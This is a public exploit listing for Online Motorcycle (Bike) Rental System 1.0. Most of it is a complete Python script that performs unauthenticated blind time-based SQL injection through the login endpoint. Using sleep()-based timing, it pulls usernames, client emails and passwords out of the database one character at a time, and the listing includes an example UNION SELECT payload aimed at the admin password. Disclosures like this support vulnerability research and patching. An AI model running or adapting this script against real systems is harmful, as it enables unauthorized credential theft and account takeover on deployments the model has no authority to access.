Online Motorcycle (Bike) Rental System 1.0 – Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Title: Online Motorcycle (Bike) Rental System 1.0 - Blind Time-Based SQL Injection (Unauthenticated) # Exploit Author: Chase Comardelle(CASO) # Date: October 18, 2021 # Vendor Homepage: https://www.sourcecodester.com/php/14989/online-motorcycle-bike-rental-system-phpoop-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bike_rental_0.zip # Tested on: Kali Linux, Apache, Mysql # Vendor: oretnom23 # Version: v1.0 # Exploit Description: # Online Motorcycle (Bike) Rental System is vulnerable to a Blind Time-Based SQL Injection attack. This can lead attackers to remotely dump MySql database credentials #EXAMPLE PAYLOAD - test@email.com' UNION SELECT IF((SELECT SUBSTRING((SELECT password from users where username='admin'),1,1)='1'),sleep(10),'a'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL; #EXAMPLE EXECUTION - python3 sqliExploit.py http://localhost/bike_rental/ import requests import sys import urllib3 import pyfiglet urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} def find_clients_usernames(url): clients = "" cookies = {'Cookie:':'PHPSESSID='} headers = {'DNT': '1', 'SEC-GPC': '1', 'Referer' : 'http://localhost/bike_rental/','Origin': 'http://localhost','X-Requested-With' : 'XMLHttpRequest','Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8'} path = '/classes/Login.php?f=login_user' position = 1 i=0 while i <len(chars) : sqli = "email=test@email.com'UNION+SELECT+IF((SELECT+SUBSTRING((SELECT+GROUP_CONCAT(email+SEPARATOR+',')+from+clients),%s,1)='%s'),sleep(1),''),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-&password=test" %(position,chars[i]) r = requests.post(url + path,data=sqli,headers=headers,cookies=cookies, verify=False) if r.elapsed.total_seconds() > 1: clients += chars[i] i=0 position+=1 else: i +=1 return clients def find_db_usernames(url): users = "" cookies = {'Cookie:':'PHPSESSID='} headers = {'DNT': '1', 'SEC-GPC': '1', 'Referer' : 'http://localhost/bike_rental/','Origin': 'http://localhost','X-Requested-With' : 'XMLHttpRequest','Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8'} path = '/classes/Login.php?f=login_user' position = 1 i=0 while i <len(chars) : sqli = "email=test@email.com'UNION+SELECT+IF((SELECT+SUBSTRING((SELECT+GROUP_CONCAT(username+SEPARATOR+',')+from+users),%s,1)='%s'),sleep(1),''),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-&password=test" %(position,chars[i]) r = requests.post(url + path,data=sqli,headers=headers,cookies=cookies, verify=False) if r.elapsed.total_seconds() > 1: users += chars[i] i=0 position+=1 else: i +=1 return users def find_db_passwords(url): passwords = "" clientCount = 0 cookies = {'Cookie:':'PHPSESSID='} headers = {'DNT': '1', 'SEC-GPC': '1', 'Referer' : 'http://localhost/bike_rental/','Origin': 'http://localhost','X-Requested-With' : 'XMLHttpRequest','Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8'} path = '/classes/Login.php?f=login_user' position = 1 i=0 while i <len(chars) : sqli = "email=test@email.com'UNION+SELECT+IF((SELECT+SUBSTRING((SELECT+GROUP_CONCAT(password+SEPARATOR+',')+from+users),%s,1)='%s'),sleep(1),''),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-&password=test" %(position,chars[i]) r = requests.post(url + path,data=sqli,headers=headers,cookies=cookies, verify=False) if r.elapsed.total_seconds() > 1: passwords += chars[i] i=0 position+=1 else: i +=1 return passwords def find_client_passwords(url): passwords = "" clientCount = 0 cookies = {'Cookie:':'PHPSESSID='} headers = {'DNT': '1', 'SEC-GPC': '1', 'Referer' : 'http://localhost/bike_rental/','Origin': 'http://localhost','X-Requested-With' : 'XMLHttpRequest','Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8'} path = '/classes/Login.php?f=login_user' position = 1 i=0 while i <len(chars) : sqli = "email=test@email.com'UNION+SELECT+IF((SELECT+SUBSTRING((SELECT+GROUP_CONCAT(password+SEPARATOR+',')+from+clients),%s,1)='%s'),sleep(1),''),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-&password=test" %(position,chars[i]) r = requests.post(url + path,data=sqli,headers=headers,cookies=cookies, verify=False) if r.elapsed.total_seconds() > 1: passwords += chars[i] i=0 position+=1 else: i +=1 return passwords def create_table(users,passwords): for i in range(0,len(users)): print(users[i]," | ",passwords[i]) def print_header(): print("[*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*]") print("[*] Online Motorcycle (Bike) Rental System [*]") print("[*] Unauthenticated Blind Time-Based SQL Injection [*]") print("[*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*]") print("\n") print(pyfiglet.figlet_format(" CAS0", font = "slant" )) chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', 'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7', '8','9','@','#',",",'.'] if __name__ == "__main__": try: url = sys.argv[1].strip() except IndexError: print("[-] Usage: %s <url>" % sys.argv[0]) print("[-] Example: %s www.example.com" % sys.argv[0]) sys.exit(-1) print_header() print("[*] RETRIEVING CREDENTIALS NOW [*]") dbUsernames = find_db_usernames(url) dbUsernames = dbUsernames.split(",") dbPasswords = find_db_passwords(url) dbPasswords = dbPasswords.split(",") print("[*] DATABASE CREDENTIALS [*]") create_table(dbUsernames,dbPasswords) clientUsernames = find_clients_usernames(url) clientsUsernames = clientUsernames.split(",") clientPasswords = find_client_passwords(url) clientPasswords = clientPasswords.split(",") print("[*] CLIENT CREDENTIALS [*]") create_table(clientsUsernames,clientPasswords) |